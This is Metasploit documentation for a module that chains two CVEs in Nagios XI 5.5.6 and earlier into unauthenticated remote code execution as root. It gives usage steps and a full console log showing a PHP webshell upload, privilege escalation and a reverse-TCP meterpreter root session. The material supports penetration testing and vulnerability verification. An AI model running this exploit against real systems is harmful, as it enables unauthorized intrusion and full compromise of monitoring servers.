PageRenderTime 35ms CodeModel.GetById 0ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/exploit/linux/http/nagios_xi_magpie_debug.md

https://github.com/rapid7/metasploit-framework
Markdown | 100 lines | 80 code | 20 blank | 0 comment | 0 complexity | 39cd394aa601e16c9ed8a221013a5f82 MD5 | raw file
  1. ## Vulnerable Application
  2. This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
  3. CVE-2018-15708 which allows for unauthenticated remote code execution
  4. and CVE-2018-15710 which allows for local privilege escalation.
  5. When combined, these two vulnerabilities allow execution of arbitrary
  6. commands as root.
  7. The exploit works as follows:
  8. - A local HTTPS server is setup. When it is reached, this server responds with a payload.
  9. - By crafting a malicious request, we make the target host send a request to our HTTPS server.
  10. - The local HTTPS server must be reachable from the Nagios host.
  11. - The `RSRVHOST` and `RSRVPORT` options are used to specify the HTTPS server host and port.
  12. - A PHP webshell and payload executable are uploaded via `magpie_debug.php`.
  13. - A command is executed via the webshell. This command elevates privileges and runs the payload executable.
  14. ## Verification Steps
  15. Download a vulnerable version of the Nagios XI virtual appliance:
  16. * https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
  17. * https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.13-64.ova
  18. * https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.0-64.ova
  19. * https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.6-64.ova
  20. Or download a [vulnerable application installer](https://www.nagios.com/downloads/nagios-xi/older-releases/) and follow the
  21. [installation instructions](https://assets.nagios.com/downloads/nagiosxi/docs/Installing-Nagios-XI-Manually-on-Linux.pdf).
  22. Metasploit:
  23. 1. `msfconsole`
  24. 1. `use exploit/linux/http/nagios_xi_magpie_debug`
  25. 1. `set RHOSTS [IP]`
  26. 1. `set RSRVHOST [IP]`
  27. 1. `exploit`
  28. 1. You should get a new session with *root* privileges
  29. ## Options
  30. ### RSRVHOST
  31. IP address at which the local HTTPS server can be reached.
  32. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).
  33. ### RSRVPORT
  34. Port at which the local HTTPS server can be reached.
  35. ## Scenarios
  36. ## NagiosXI 5.5.6 (x64) virtual appliance
  37. ```
  38. msf6 > use exploit/linux/http/nagios_xi_magpie_debug
  39. [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
  40. msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113
  41. rhosts => 10.1.1.113
  42. msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114
  43. rsrvhost => 10.1.1.114
  44. msf6 exploit(linux/http/nagios_xi_magpie_debug) > run
  45. [*] Exploit running as background job 0.
  46. [*] Exploit completed, but no session was created.
  47. [*] Started reverse TCP handler on 10.1.1.114:4444
  48. [*] Executing automatic check (disable AutoCheck to override)
  49. [+] The target appears to be vulnerable. Found MagpieRSS.
  50. [*] Using URL: https://0.0.0.0:8080/iRtxnl8L
  51. [*] Local IP: https://10.1.1.114:8080/iRtxnl8L
  52. [*] Server started.
  53. [*] Uploading to /usr/local/nagvis/share/fbHGUhauqtV.php ...
  54. [+] fbHGUhauqtV.php uploaded successfully!
  55. [*] Using URL: https://0.0.0.0:8080/YvyES7YlFee8R
  56. [*] Local IP: https://10.1.1.114:8080/YvyES7YlFee8R
  57. [*] Server started.
  58. [*] Uploading to /usr/local/nagvis/share/nYRTioXKBam ...
  59. [+] nYRTioXKBam uploaded successfully!
  60. [*] Checking PHP web shell: /nagvis/fbHGUhauqtV.php
  61. [+] Success! Commands executed as user: uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
  62. [*] Attempting privilege escalation ...
  63. [*] Sending stage (3008420 bytes) to 10.1.1.113
  64. [*] Meterpreter session 1 opened (10.1.1.114:4444 -> 10.1.1.113:42314) at 2021-03-16 02:58:20 -0400
  65. [+] Deleted /usr/local/nagvis/share/fbHGUhauqtV.php
  66. [+] Deleted /usr/local/nagvis/share/nYRTioXKBam
  67. [!] This exploit may require manual cleanup of '/var/tmp/hRyNmrQHZAq.nse' on the target
  68. [*] Server stopped.
  69. msf6 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
  70. [*] Starting interaction with 1...
  71. meterpreter > getuid
  72. Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
  73. meterpreter > sysinfo
  74. Computer : localhost.localdomain
  75. OS : CentOS 7.5.1804 (Linux 3.10.0-862.14.4.el7.x86_64)
  76. Architecture : x64
  77. BuildTuple : x86_64-linux-musl
  78. Meterpreter : x64/linux
  79. meterpreter >
  80. ```